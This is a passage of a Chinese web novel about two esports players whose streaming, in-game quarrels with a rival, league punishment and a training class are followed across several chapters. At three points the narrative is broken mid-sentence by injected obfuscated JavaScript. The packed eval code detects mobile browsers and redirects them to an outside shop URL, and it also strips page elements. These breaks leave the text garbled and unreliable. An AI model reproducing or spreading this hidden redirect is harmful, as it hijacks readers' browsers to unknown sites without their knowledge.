他看着手上这个视频,眉头不禁越挑越高,心里也跟着拂过无数问号—— 这音频真的没有经过后期处理吗?他的声音怎么听上去这么……腻歪? 听得他全身都开始起鸡皮疙瘩了。 不仅如此,原来他俩为了避免被直播间的麦克风收音,小声在对方耳边说话的时候,居然贴得这么近吗?简直就快像咬上对方的耳朵了。 特别是郁秋的头发有点长,所以这个视屏画面有时候看上去,简直就像是在亲他的脸颊…… 脑海里不禁开始想象如果对方的薄唇轻触到自己的脸颊会是什么样的感…… 等等等等! 他立马坐直了起来,强行把自己的注意力从手机上掰开。 他在想什么? 都怪这个视频,思绪都被带偏了! 这简直对郁秋太不礼貌了…… 这时,他突然意识到了什么,怔住不动。下一秒,他缓缓地抬起手,轻触了下自己的脸颊。 准确来说,是自己的嘴角。 然后,他就瞬间僵住了。 他想象了这些东西,然后……笑了? 甚至现在嘴角还在不自主的上扬。 他深吸一口气,试图让自己冷静一下,但脑子里依旧百思不得其解。 怎么自己也开始恶俗起来了? 难道这就是有耳所说的“好感”吗? 他的喉咙不禁有点发干,吞了口唾沫。 但是好感会去想这些东西吗…… “我结束了,你怎么说?” 这时,坐在他旁边的好舍友终于结束了手中的巅峰赛。他把手机丢到一旁,意味深长地看着这个“等了”他将近一整把游戏的青年。 夜雨辰本来说来看看郁秋这把的对局,所以刚好坐在了对方的桌前,结果嫌这样看太不舒服了,所以他就去刷视频了,然后不小心刷了一整把时间。 不过郁秋现在并没有开直播。 夜雨辰干咳两声,立马收起自己的手机,迅速调整了下自己的面部表情和心里不平的情绪。然后幽幽地瞥开视线,十分平淡道:“来吧。” 然后,两人把阵地转换到了夜雨辰的桌前。 郁秋翘着二郎腿,悠悠道:“如果过会没有你说的那个情况,我能再开一把吗?” 夜雨辰低头看着手机:“你别开,等我。” “可是二十分钟啥都不干很无聊欸?要不我也刷视频?”郁秋似是有点委屈,“坐在这里只看你屁股会发麻的。” 夜雨辰冷哼一声:“那你洗个澡吃个零食做个热身操都行,反正你不准开,你都答应今晚帮我了。” 郁秋咯咯道:“我才不是保姆,为什么要听你的,要不你求求我?” 夜雨辰:“……” 倏地,他抬眸,对上郁秋的视线,眼里闪烁着波动。 “好的哥哥。” 他轻声道。 “?” 郁秋抿紧了嘴唇。 过了好几秒,他才像回过神,把自己的椅子往电脑桌前拉了拉,似是不耐烦地对夜雨辰摆摆手:“行行行,听你的听你的,你快开吧,我顺便帮你把直播也开了。” 夜雨辰嘴角不由得勾起嘴角:“谢谢哥哥。” 然后他就看着郁秋绷着脸,看似手脚慌乱地打开了直播。 他心里不禁闪过一阵暗爽。 不知道是不是那天陪玩的原因,他这几天对郁秋叫这些词有点上瘾。 前几天,他跟对方说这次要放任CP话题传播的时候,郁秋跟他的态度依旧是——想两人在镜头下保持距离。 可他不想。 他不太喜欢旁边空空的,心里空荡荡的感觉。 所以,他那时候脑子也不知道怎么想的,就像突然蹦出来一个主意,于是他顺嘴而出道:“所以这次是你讨厌我了吗?哥哥。” 然后,郁秋全身一僵,脸色也跟着千变万化,透过他的眼神,他看到了许多交杂的——挣扎、犹豫、开心、难受…… 最终,郁秋还是长叹一口气,妥协了。 不过他们这几天还是为了躲CP话题的热度,并没有开直播。 所以,今天,是有“秋夜CP”后,他们俩第一次开播。 其实这次开播的主要原因就是夜雨辰要将自己的游戏界面投屏到电脑上,方便让另一个人观看游戏对局,刚刚他看郁秋手机屏幕看的可难受了,头差点都倒在对方的肩膀上了。 所以,电脑既然都开了,直播就顺便开了吧。 至于为什么他们俩要这样做,那就是夜雨辰这几天最倒霉、也是他主要最烦的第二件事了—— 这两天,他的职业账号和单子号加起来,共达成了“三十连跪”的成就。 不知道是游戏机制的问题还是他真的触了霉头,反正他在这几十把游戏里,除了自己失误导致输了的两把对局,他几乎成功集齐了各种其他的输法—— 补位队友被打成超鬼、三个队友从头到尾吵架一整把、游戏在bp环节就心态就大崩喊着要报复所有人,然后不听任何人劝阻直接开始摆烂、因系统卡顿被莫名选出双法师阵容、巨婴压力四个队友没人理他,把巨婴气破防到直接挂机……甚至还有那种他几乎一个赛季都见不着的挂机一整把的情况。 总之什么奇葩对局都给他遇见了,而且还就这么刚好在这两天遇见了。 他究竟是倒了什么血霉才会让两个号同时遇见这种打了几年GloryK以来从未遇见过的情况?! 三十把游戏啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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进入对局后,不出夜雨辰所料,又逆风了。 不过好消息是,没被平推,还有机会翻盘。 郁秋见状,直接打开麦克风开始指挥队友:“双c和辅助守家,别出去,边路来跟我出去试试去抓掉点。” 他们现在经济落后的并不多,对面有一两个人也是破绽,所以还是有很多机会赢的。 只见边路夏洛特的行动好像微不可察地停了一下,然后就跟着郁秋一起去下路蹲人。 最后,他们俩确实连着两次抓到了喜欢单带的敌人,为队友和自己的发育拖延了不少时间。 在游戏对局进入到了第十七分钟的时候,两边人的战斗力终于变成了五五开。此时,最后一条暴君即将刷新,双方对此都虎视眈眈。 可以说,这条龙,谁争下了,谁就有机会赢。 郁秋看了一眼小地图,发现对面有两个人在处理下路,剩余三个留不住他的人没漏视野,于是冷静道:“我先去过波远端线,你们别打,也别漏视野,龙的视野别放,我们不用让了,等我。” 队友继续听他的指挥照做了。 郁秋在确认队友视野全黑下去后,才开始了过线。 下一秒,河道和草丛突然窜出来带着奔狼的四个敌人,其中就包括对面唯一一个能长时间控制住他的辅助太乙。 就算郁秋反应再快,也扛不住对面四人的突然冲脸和爆发,而且对面接连控bo,让他根本没机会使用技能超远位移逃跑。 于是,在这条关键龙快刷新的节点,他掉点了。 郁秋一时眉头紧皱。 对面怎么四个人都敢这么冲?明明自己其他队友都很久没漏视野了,就不怕被反蹲直接被一波吗…… “哈。” 突然一声冷笑声在游戏麦里响了起来。 只听这个队友嗤笑一声,在上千人的直播间里,当着夜雨辰和郁秋的面,语气里满是嘲讽味道, “替补哥,你怎么还是这么菜啊?” 48. 第 48 章 嚯? 听到熟悉的称呼,郁秋挑眉,面色毫无波澜地打开游戏菜单查看究竟是哪个队友突然这么对他来了一句。 只见他的四个队友里,只有边路的麦克风是亮着的。 他并没有把对方这句话放在心上,依旧好脾气道:“我的这波,没办……” “狗叫什么?要不是你们不小心漏视野给对面,他会被四个人冲?”夜雨辰冷声打断了郁秋的话。 他一直靠着椅子,目不转睛地看着电脑上正直播着的郁秋打的游戏对局。 这把他是观众,不是玩家,所以直播界面足以让他看清郁秋游戏里的一举一动,而且他也完全有精力去看看其他队友的操作是否正常。 郁秋因为心神一直集中在思索如何翻盘的对策,所以根本没注意到两点—— 一是,对面在下路清线的本来是射辅二人,但那辅助在没清完线的时候,就已经将视野藏了起来;其二,也是最关键的,他的队友在中路过线的时候,粗略看一眼地图,就像只有射手将自己的视野信息告知了对面,可是,自家中辅的草外蹲,导致了把自己的视野暴露给了对方。 所以敌人知道,如果郁秋漏了视野,最多就两个人在上面,不可能有更多人会救他,于是,四个人倾巢而出,目标直指秒杀带线的那个人。 “哈,我说错了么?整个游戏里谁不知道郁秋是替补哥?”边路嗤笑出声,“而且这把我啥也没干就得陪你们打逆风局了,我说他菜有问题?不是他野区炸了会逆风?” 夜雨辰的眸光更加阴沉了。 一般前期的对局,在双方势均力敌的情况下,主要出节奏的位置就靠中路、辅助和打野三个位置,而射手和边路则是很容易对着线打着打着就莫名其妙打成了逆风局。 但这把的逆风原因,主要是因为这个补位的辅助一直在掉点,从而导致了野区被对面入侵烂了,可以说根本不是打野的问题。 见这个人如此不明事理,夜雨辰深吸一口气:“你他……” 话没说完便戛然而止。 一个手背倏地一下覆住了他的唇,一阵清新的薄荷味随之侵入了他的鼻腔。 他的双眸逐渐瞪大。 郁秋突然捂住他的嘴的动作,让他呼吸一滞,心跳跟着漏跳了一拍。 薄唇上不断传来的光滑肌肤的冰凉感,让他眸里闪过一丝慌乱。 下一秒,他眉头一皱,立马抬手抓住这个把他嘴捂住的胳膊并用力甩开,偏头看向郁秋,小声惊怒道:“你干什么?” 郁秋朝他轻轻摇了摇头,脸上挂着一如往常的笑容,就像被骂的人不是他一样。他一边操作着已经复活的英雄,一边对自己的队友悠悠道:“你说得对,继续。” 似是完全不在意这人是不是还要骂他。 边路:“哧,菜逼,狗屎运混来的首发还真给你装上了。” * 这把游戏最终还是以失败告终了。 怎么输的不重要,反正开局就是逆风局,而且夜雨辰也已经输麻木了。 不过他现在的心思完全不在自己的号在第三十一连跪上。 “这种人你就这么惯着他?”在确定直播间的麦克风关闭后,他就质问郁秋,“我不说脏也能骂他的。” “呵呵。”郁秋低笑两声,“如果不是我手快阻止了你,你就要说某些字了,我可不想吃警告和去那里。” “……” 夜雨辰的脑子里瞬间想起刚刚唇上的冰凉触感和钻进鼻腔的清新薄荷味。 很好闻。 不过,他立马小甩了下头回过神,没好气道:“用得着你提醒?我肯定不会爆粗的,而且你为什么要对他说那些?” 职业选手的合同上是不允许游戏内和队友吵架,包括骂脏,所以除非有人实在忍不住,才会盯着被罚的风险开口。 郁秋轻瞥一眼他,眼里闪过一抹喜色:“你很在意?” 夜雨辰撇过头,冷哼一身:“只是好奇你为什么闲得蛋疼要去讨骂。” “他也是职业,”郁秋耸了耸肩,“他要是再骂,被罚的是他。” “?”夜雨辰一愣,诧异地回头看去,只见对方这时刚好把屏幕界面打开到了边路的个人资料,摆给了他看。 看着这个边路的id,他蹙起眉,疑惑地看向郁秋:“你怎么知道的?” 巅峰赛不是看不到别人的id吗? 郁秋淡淡道:“他声音太明显了,一下就能认出来,所以懒得理苍蝇在我耳边飞。” 夜雨辰更加疑惑:“你认识他?” 郁秋颔首:“他和我青训营同期,一直讨厌我。” “为什么?” “不知道,可能是因为青训营那段时间我的表现?反正他对我的意见一直蛮大的,所以你没必要为了这种人吃罚牌。” 听郁秋介绍后,夜雨辰才知道,职业YT.七戈,一个A级战队的二队的边路,从两年前开始打职业到现在,几乎就没上过比赛舞台。 “好了,回归正题。”郁秋干咳两声,指了指战绩界面,不由得好笑道,“三十一连跪了,下把你来打还是我来?” 他们俩今晚最基本的目标可是打破连跪,获得首胜。 夜雨辰扫了一眼一片“失败”红的战绩,轻哼一声:“你继续打吧,我看着就行。” 然后,他就重新打开了直播间的麦克风。 郁秋摊手,似是莫名其妙被赋予了一个重活而心生不满:“那好吧。” 不过,他脸上的笑容和手上迅速把中单常用英雄换成打野英雄的动作,完全没有任何抱怨帮夜雨辰上分的意思。 甚至乐在其成。 第三十二把游戏,夜雨辰看着bp界面每个队友挂着的英雄常用,心里竟然升起了一股感动——这把五个队友终于没有撞位置了! 他默默把直播间的标题改成“今天是野王Night”,然后目光完全不留给弹幕一眼,直接全屏继续看直播里的画面,并下意识开始分析阵容—— 郁秋在蓝方,而他们这边阵容现在选了三个英雄,暂时前期强度是比对面强上好几倍的,而且反野对面不论选什么都毫无招架之力那种,所以说,只要前期他的队友配合得好,那这把几乎是胜券在握。 郁秋同样也是这个想法,于是他直接打开麦克风和队友说道:“兄弟来点前期强一点的呗,跟我节奏,这把打野区速战速决了。” 四楼一听,立马锁了一个辅助太乙,而五楼一直没选英雄。 选英雄阶段开始了倒计时。 直到最后一秒,五楼倏地一下才锁下了英雄——夏洛特。 一个前期相对比较弱势的英雄,而且在实力相同的情况下,前期他一定打不过对面对位的英雄。 然后,他打开麦克风,一字一句道:“傻逼才听你的。” 听到这熟悉的沙哑声,夜雨辰的脸瞬间黑下来了。 怎么又排到了这个七戈,而且怎么他们又是队友? 这种人就应该排去对面给他暴打才对。 郁秋听到这个声音,也似是感到头疼皱起了眉,不过并没有多说什么。 毕竟是巅峰赛,大家想玩什么英雄最终还是得遵循自己的意愿。 二楼射手见聊天的氛围突然不对,像是猜到了什么,立马打开麦克风试图缓和二人紧张的气氛:“别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081142|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵别吵,上把的事情已经过去了,咱们现在是新队友,都想赢,不要把上把的情绪带到这一把,我们阵容好,好好打随便赢的。” 郁秋无奈笑了一声:“没吵哥们,别紧张。” 七戈冷笑一声,明显没有任何转变态度的意思:“不好意思啊,这打野坑过我十几把,听不了一点他的话。” 二楼汗颜:“我是主播,可以给我个面子吗?好好打。” 大家都是想赢的。 七戈直接忽视了这人的话,嗤笑道:“替补怎么玩上自己成员的号了?不会是自己号的分不够高所以没得玩,只能借别人的来高端局看看风景吗?” 郁秋眉宇间完全没有任何被激怒的迹象,莞尔道:“是啊,太久没爬上来过了,只好随便借个全国前五十的号来打打,不用努力累死累活的打游戏,吃软饭的感觉可真好。” 夜雨辰这个号上周的定榜排名还是在全国前五十的。 七戈似是被堵住了话,安静了一瞬。 他平常打比赛和训练的机会相对较少,所以有不少时间打巅峰赛,其中,战队也会给他下达要求每个月要达到什么样的成绩。 但是,他是那种很少打上全国前五十名的一个职业选手。 这一点,郁秋是知道的。 所以他在拿这一点戳七戈的伤口。 “呵呵,上把挂着三中单常用,这把挂着三打野常用,玩得还是Night的号……”七戈突然低笑了两声, “你们俩的热度最近还蛮大的呢?怎么,JYY一个成员刚被罚禁赛的流量一过,又起了这么个话题,这次你们玩‘借号’这一出也是想把热度扩大吧?” 夜雨辰和郁秋的眼神顿时一凝,心里暗叫不好。 七戈应该是知道他们在直播,所以突然说这些东西。而且如果队友也是主播的话,他是在给JYY带节奏引黑流。 可他们现在如果直接关掉直播或声音,就会被观众误认为戳中了战队的心思,掩耳盗铃,那将会引起更大的公愤。 “一个废物战队怎么天天喜欢搞除了比赛成绩外的东西呢?刚刚替你顶嘴的那个也是Night吧?” 郁秋眉头微微皱起,眼神示意着夜雨辰别说话,语气平淡道:“没懂你想表达什么,我们俩一个队的,所以一起打游戏和帮队友说话都是正常行为。” 进入对局,七戈一边操作,依旧咄咄道:“为了博眼球真的是什么手段都用得出来,我都替你们感到恶心……卧槽!” 不知道是不是因为他的心思全在说这件事上从而分了神,在对线的时候,他的失误导致被对面的边路单吃拿下了一血。 这个死亡,直接打断了郁秋想开局反野的节奏。 甚至,对面开始反进他的野区。 看着这个播报,郁秋脸上再也没了任何笑意。他看着对面朝着自己的野区奔来,冷声道:“原来你打游戏的时候,心思全在这些八卦上面吗?” 似是因为送了一血,七戈有点尴尬,气势稍微减弱了一些:“那还不是因为上把被你坑了导致我这把心态不好吗?” 郁秋冷笑道:“呵,上把事上把毕,要是非要说我的话,你就拿你的狗眼滚回去看完回放再来哔哔。” “喂,你……” 听着吐出来的这些字,夜雨辰毫不犹豫地直接将自己的直播关闭了。 “知道你为什么一直没有首发吗?”郁秋眼睁睁看着自己被对面四人进的野区,己方三人却无能为力去守,寒意越来越甚, “傻逼,老子不想理你你就真把自己当回事了?每次玩得菜就算了,还爱开局狗叫影响队友军心,就你这破烂心态,配上赛场?” 49. 第 49 章 “所以,你们就直接在对局里跟别人对骂起来了?” 作为战队经理的冷姝言看着收到来自联盟的两封邮件,立马就杀到基地拉着前一晚吵架的俩人喝茶。 郁秋冷哼一声:“本来被他哔哔赖赖场外就烦,他还把我前期节奏打乱差点让我对局炸了,能忍?” 夜雨辰不以为意:“打个游戏不想着赢,就想着搞队友心态,不骂留着过年?” “……” 冷姝言见二人脸上完全没有任何做错事的歉意,头疼似的揉了揉眉心。 昨天那一把对局虽然最后打破了夜雨辰的连败,但是,由于郁秋实在没忍住骂脏并且夜雨辰也没忍住插一嘴去骂的情况下,就算夜雨辰迅速在骂人的时候关闭了直播,作为他们队友的某个主播也是把对局里的声音立马播放了出去。 于是第二天,两个人都自然而然收到了来自联盟的警告与惩罚。 她冷笑一声,咬牙道,“你俩真是可以,要吵不能私下吵吗?非要在别人的直播间里丢脸,把联盟的规矩当摆设呢?” 夜雨辰嗤笑一声道:“那傻逼先挑的头。” 要下水就必须一起。 郁秋则是一脸惋惜的样子:“可惜了,要不是因为这射手是南黎,肯定不至于把节奏闹大的。” 夜雨辰默认了这句话。 是的,这次的队友又是主播南黎,他们又给这人送了一次免费有热度的素材——“惊!巅峰赛竟成了职业选手的对骂现场!” 见二人惹了如此事却不知悔改的模样,冷姝言不禁扶额,“最近你们的那个话题我已经尽我所能的去控了,所以你们是真想吃这个流量啊?” 也不怪她这么想,其实大部分观众也都是这么想的。 这两人在摄像头都是同屏出现,包括昨晚。 而且观众们不瞎,大家都看到看郁秋直接抬手堵住了夜雨辰的骂脏,也看到了夜雨辰在郁秋开口骂人的时候速度关闭了直播的动作;不仅如此,郁秋玩的是夜雨辰的账号,而直播间的标题也像是Night专门为郁秋设立的舞台…… 这两人的行为怎么看都像是想吃“秋夜cp”话题的热度,顺势扩大。 “没有,要热度干嘛?” 夜雨辰想也没想,“我和他像之前那样该怎么玩就怎么玩。” 热度这种东西影响不了他的电竞生活。 冷姝言明显没信:“那你们非要挤一个屏幕?” 郁秋干咳两声,替他解释道:“他连跪,所以我答应帮他上分,就坐他旁边了。” “你俩一唱一和呢?”冷姝言眼神微妙地看着郁秋,嘴角微微上勾了一点,然后又以迅雷不及掩耳的速度立马掩盖了下去,“那这个话题我到底要不要管?因为你们仨的吵架,真的让一堆路人赶来凑热闹看笑话了。” 然后,她的表情更加严肃了些:“而且,因为你们对骂的那个家伙说的话,所以战队现在都说你们是在刻意制造博眼球的热度。” “虽然我知道这个话题并不是你们刻意促成的,但我还是建议,你们俩以后只要是在在镜头下,都保持距离。” “不要。” “不行。” 两个不同的声音立马拒绝了。 随即,他们俩脸上都闪过了一抹对对方回答的惊讶,而冷姝言在一旁稍微抿了下嘴。 她立马把嘴角的笑意憋了下去,面色冰冷道:“我们现在没钱没人力也没账号去把这话题压下去。” “那就不压。” 两个人异口同声。 “……” 俩人面面相觑。 下一秒,夜雨辰啧了一声:“你别学我说话行吗?” 郁秋无辜地举起双手,低笑两声:“我的错。” 冷姝言挑眉道:“你们给我个理由,我不去压的话,战队和你俩身边就会一直有负面声,就算你俩对此不在意,那我也得为其他人和战队的利益着想。” “……”夜雨辰眼里闪着斟酌的颜色,片刻后,他才下定决心说出口道,“我想借这机会磨练下自己的心态,这是我的短板,但是未来却一定需要克服的困难。” 他想借这次机会将自己的心态磨练到对网络言语尽量保持心平气和,可战队利益的话……他完全不知道该怎么说服对方。 郁秋沉思了一会,诚恳道:“比赛将至,我们先打出成绩最重要,其次,CP的热度对我们造成的负面影响并没有特别大,所以这方面先顺其自然吧,但这次吵架的事情是我们的有问题在先,确实是我冲动了。” 他抬眸看向冷姝言,“如果夜雨辰不介意的话,我也是提议不想多管这个,所以你到时候和零落他们商量一下,然后决定最后是冷处理这件事还是如何,只要不要让战队有影响到名誉的声音,你就可以放任不管。” 没必要把战队的钱花在解决这个话题上,如果队里有人因为这个话题导致压力过大的话,再着重处理。 而且,现在网络上大部分质疑声是JYY不注重战队的成绩,反而在不停地买各种各样的热搜和制造博眼球的话题,所以,只要他们在比赛上拿出成绩,并且不去刻意迎合那些不知道从哪蹦出来的话题,那将是对黑子最便宜也是最有效的封口贴。 毕竟电竞圈最有话语权的便是实力。 “……哈哈。我回去和老孟商讨去。” 冷姝言似无奈地揉了揉眉心,心里暗骂了郁秋不少话语。 “还有第二件事,”她看着手里的邮箱的信息,问这两人,“你们知道‘综合素质培训课’吧?” 夜雨辰和郁秋同时点头。 综合素质培训课,是职业联盟为了所有职业选手的身心健康,专门聘请几个专业老师为他们开设的课程活动。其中就包括合理规划职业期间赚取的财务、如何维持恋爱关系、体育锻炼、职业规划等等。 而即将开设的课堂是在下周的最后三天,联盟的要求是只要是这赛季出现在大名单上的选手,都必须参加,所以JYY的六个人下周都会去上这课。 冷姝言淡淡道:“你俩因为直播骂脏,所以联盟要求你们先参与特殊培训课,时间就在综合课前两天,所以,你们后天晚上之前必须到那边住下。” ? 什么玩意?特殊培训? 她继续介绍道:“还有,这个特殊培训课邀请的对象,是最近这两个月里所有直播被判定违规的选手,不论是替补还是首发选手。” 夜雨辰皱眉问道:“什么课要上两天?” 冷姝言答道:“课只上一天。” 郁秋挑眉:“那为什么要提前两天到达现场?” 冷姝言:“因为那个课计划一天结束流程,上午上课下午考试,不过关的就需要呆在那补课,直到考试及格,90分才算及格,而很多人第一天都无法通过考试,所以会开设两天的流程。” 夜雨辰:“那我们要是第一天就合格呢?” 冷姝言:“那你们自便,等我们过去上综合素质培训课。” “哦对了,还有一个点得提醒你们。”她重新确认了一下收到的信息,对二人说道,“因为这个特殊培训课主要算是对你们这些违规的选手的惩罚之一,所以,联盟是不会给你们报销路费和住宿费的。” * 两天后,夜雨辰整张脸如同乌云密布。 这几个小时的飞机让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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窗外,万里无云的天空湛蓝而又深邃,让人看了心中的烦躁顿时烟消云散。往下看,纯白的傍海摩天轮在窗外最为显眼。 郁秋看着那座摩天轮,介绍道:“那是亚洲最大的傍海摩天轮。” 夜雨辰手搭在窗上,目不转睛地盯着那个高大的建筑:“我知道。” 郁秋转头看他,问道:“你坐过吗?” 他记得,他们第一次初见就是在这块区域附近。 “这重要吗?”夜雨辰耸耸肩,转身直接去收拾自己行李,“我倒是更好奇你花了多少钱订这套房。” 就凭这海景和房间的大小,绝对是豪华海景双人房起步,价格肯定不菲。 他突然就有点肉疼。 “这个嘛……”郁秋眨了眨眼,老实道,“没花钱。” “?”夜雨辰没听懂这句话,“什么意思?” 郁秋眨眨眼:“字面意思,免费。” 夜雨辰的脸色不禁怪异了起来:“为什么?” 据他所知,这种酒店的房间类型,一天的价位已经和他预算里两天的价格差不多了。 “银行会员权益,小意思。”郁秋摆了摆手,满脸轻松盗取,“所以,我还是很好奇,你想玩那个吗?” 说着,他将目光又瞥向了那个摩天轮。 夜雨辰:“……?” 他依旧没有给出回答。 银行会员权益直接免费住五星酒店的豪华双人海景房? 这人背景到底是多有钱? 50. 犯困 第二天一大早,夜雨辰和郁秋就到了上课地点——少年宫。 联盟将上课的地点都设置在了少年宫的几个剧院里。 不过,夜雨辰现在的脸色,不知道的以为是谁大白天来这种地方讨债了。 眼里满是藏不住的杀意,特别臭。 突然,他紧抿着嘴呼出一口气,眼眶浮现出一层轻薄的水雾。 又在偷偷打哈欠了。 他幽幽地瞟了一眼那个强行把他拉起床、脸上却神清气爽的郁秋,心里怒气更甚:“你不困?” 明明他们昨天都是玩到两点以后才睡的,但这人看上去怎么这么精力十足? 郁秋悠悠道:“困啊,所以这不早早把你拉来这了。” 夜雨辰试图在对方脸上找出犯困的痕迹,最终却没看到任何的困意,眼神愈发冰冷了。 他冷声道:“你最好给我解释清楚为什么七点多就把我叫起来。” 对这两个月一直熬夜,特别是昨天依旧熬夜的他来说,七点起简直是折磨。 打算八点起床的夜雨辰在提前一个小时被郁秋叫起床的时候,就下意识往对方脸上呼去一巴掌,只可惜被拦下来了。 然后,他就一直一副如此毫无情绪的臭脸摆到现在。 酒店离这明明并不远,加个早餐的时间,最多最多四十五分钟就能到这,不会迟到。 但现在八点半左右,他们就已经快到教室门口了。 上课的时间定在九点,如果迟到,老师将会直接默认今天的课程成绩不合格,那明天的补课便依然要早起。 可就算再怎么怕迟到,也不至于早这么多时间起床吧? 许是感到身旁传来的杀意,郁秋干咳两声:“这个嘛……反正都快到了,过会你就知道了。” 然后,他立马加快脚步和对方拉开一小段距离。 夜雨辰看着这个迅速往前拉开距离的背影,低骂一声。 叫他早起又不说原因,想揍人。 他迈出一步,准备跟上去继续质问…… “滚远点,别挡路。” 突然,身后冲出一个人用力撞了下他肩膀。 把他撞得一个踉跄。 夜雨辰冷眼看向这个撞他的人的背影。 那个人完全没有回头看被撞的夜雨辰,反而还是在一个劲的往前冲,并大喊道:“滚滚滚,前面的别挡……替补秋?” 一看到半束的小辫的人,他就立马认出来了这人,立马刹住了脚步。 不等对方开口,他就冷笑一声:“前几天这么敢骂,还以为是你有什么后台不怕吃罚呢。” 郁秋停下脚步:“……” 他面无表情的侧过身。 他随意地瞥了一眼这个眼里写满是疲惫,其下满是乌青的人,然后就迅速把目光挪至他身后面若冰霜、正在活动被撞的肩膀的夜雨辰。 确认对方没事后,他将目光放回到七戈身上:“道歉。” “哈?道歉?凭什么?”七戈嗤笑一声,扭头看向刚刚被自己撞的那个人,恰好和一双森冷的眼神撞上视线,后背不禁激起浅浅的一层鸡皮疙瘩,他嘴上却依旧一副若无其事的样子,“他挡我路了不应该是他给我道歉吗?而且在同事面前你们也要维持cp人设?” 听到这种歪理,夜雨辰好笑地挑起眉:“我道歉?你确定?” 七戈脸上写满“不然呢”三个大字:“你自己停在路中间挡我路,没找你算账已经不错了,还来倒打一耙。” “话可不能这么说。”夜雨辰直接活动起手腕,似笑非笑道,“还没打呢,所以我还不需要道歉。” 这条走廊就算一下横躺十个人都还有空位,怎么就非要撞一下他? 本来没睡醒就烦,还来一个这么没事找事的人。 “怎么,急了?”七戈脸上完全任何的退缩之意,反而脸上的笑容写满了期待,指了指自己的面庞,仿佛迫切对方赶紧将拳头呼到自己这儿,“来打呗,有胆你就动手。” 郁秋抿紧嘴唇憋住笑意,幽幽地把视线瞥到一旁。 “……” 夜雨辰看着对方一副讨打的模样,突然沉默了。 他兴致缺缺的收回手,眼里写满释然,叹了口气,“怪不得一口一句这么欠打的话,原来是个抖M。” “?” 预料中的拳头没有砸在自己身上,还被莫名冠上了一个奇葩的名号,七戈一愣,“你说我是什么?” 夜雨辰轻啧一声,像避瘟神似的立马快步掠过他走到郁秋旁边,然后回首看向依旧愣在原地的人,满脸嫌弃道:“人话也听不懂吗?抖M哥。” 七戈瞪大双眸下意识大吼:“你他……” 说着,他立马噤声,然后重新骂道:“你才是抖——” “你怎么还在这?” 刚准备飙出一句不带脏字的反驳,倏然被一个陌生的声音打断了话。 但听到这个声音,七戈完全没有被打断的怒意,反而脸色瞬间古怪了起来。他转头看向自己的身后,一个人正慢慢地向他走来、身穿米色衬衫的青年,下意识道:“卧槽,你怎么这么快?” 青年低头看了眼手机,十分认真道:“距离我们分开到现在已经过去了一百四十五秒,而现在距离过八点半已经过了七十秒,正常来说,你已经到教室了。” 说着,这人露出一抹幸灾乐祸的表情:“你自己说的,没有位置就欠我两百块,现在八点半了,估计位置已经没了,要不现在给我转吧。” “屁,绝对还有位置。”七戈怒瞪了一眼这个青年,然后回首对夜雨辰二人说道:“你俩给我等……” 话戛然而止。 郁秋和夜雨辰根本没有在原地看着他和他朋友发生的争执,而是直接继续往教室的方向走了! “艹。” 他暗骂一声,直接给身后的人甩上一根中指,“你等着,绝对还有位置!别想坑我的钱!” 说着,他又开始了冲刺。 郁秋和夜雨辰在前面慢慢走着,旁边突然吹过一阵风,一个人影一闪而过,风中还夹杂着一句骂人的脏话。 郁秋忽视了那句话,看着那个人的背影,对夜雨辰轻笑道:“我还以为你要动手,我都已经做好不在场证明了。” 想到对方只是把目光瞥开装作不在场,夜雨辰就无语的翻了个白眼:“没那么蠢,吓吓他而已。” 随即,他补充道,“而且看别人不爽也不一定只用动手,我是君子。” 在这个以惩罚他们素质差的特殊培训课、周围还全是监控的场地动手?他不至于蠢到主动把自己职业生涯断送的。 “不过就没想到这人居然是个受虐狂。”夜雨辰小声嘀咕道,“他那讨打样真是没见过,看得我瞬间没了揍人的欲望。” 郁秋一怔:“那个词不是你为不动手找的说辞吗?” “不是啊。”夜雨辰莫名道,“我本来想直接说君子动口不动手的,但真没想到他为了讨打居然会如此没有下限,还指着让我打脸。” 郁秋一噎。 他讨打难道不是因为他觉得你不会动手所以一直在挑衅你吗? “不过,后面来的人是谁?”夜雨辰微微偏头看了一眼身后那个突然穿插进来打断他和七戈、现在双手插兜悠哉悠哉的走在他们后面的人,“这个你认识吗?” 郁秋“昂”了一声:“UM的打野,叫啥来着忘了。” 他只记得是A组战队的首发。 夜雨辰问道:“你跟他也关系不好?” 郁秋面无表情道:“不熟。” 夜雨辰疑惑道:“那为啥他一出现你就迅速转身走了?” 郁秋没有给出解释。 此时,刚好他们刚好到了课室门口。 课室是少年宫的一个小剧院,一共有有六排的座位,中间是一个大阶梯,其两边则是一排六个座位。 此时的倒数两排,座无虚席。 而刚刚冲刺进教室的七戈正坐在最后一排的位置上看着他们,眼里满是嘲讽。 他把倒数两排里最后的两个空位占了。 郁秋直接忽视对方的表情,对身边的人无奈道:“你看吧,没座位了。” 看着教室里的场景,夜雨辰的眼神不禁怪异了起来:“……” 八点半才刚过,课室里居然已经来了接近三十个人。 而且全都不约而同地趴在桌上睡觉。 郁秋凑到他耳旁,小声解释道:“通宵党多,大家都想着早点来抢位置方便上课补觉。” 上课抢后排位置补觉,天经地义,没多少人会当着老师的面睡觉的。 感受着耳边吹来的呼气顺带着掠过自己的脖颈,夜雨辰全身一激灵,微微和对方拉开了点距离,无语道:“这种阶梯式座位的课室,老师在讲台上不是每排都能看得一清二楚吗?” 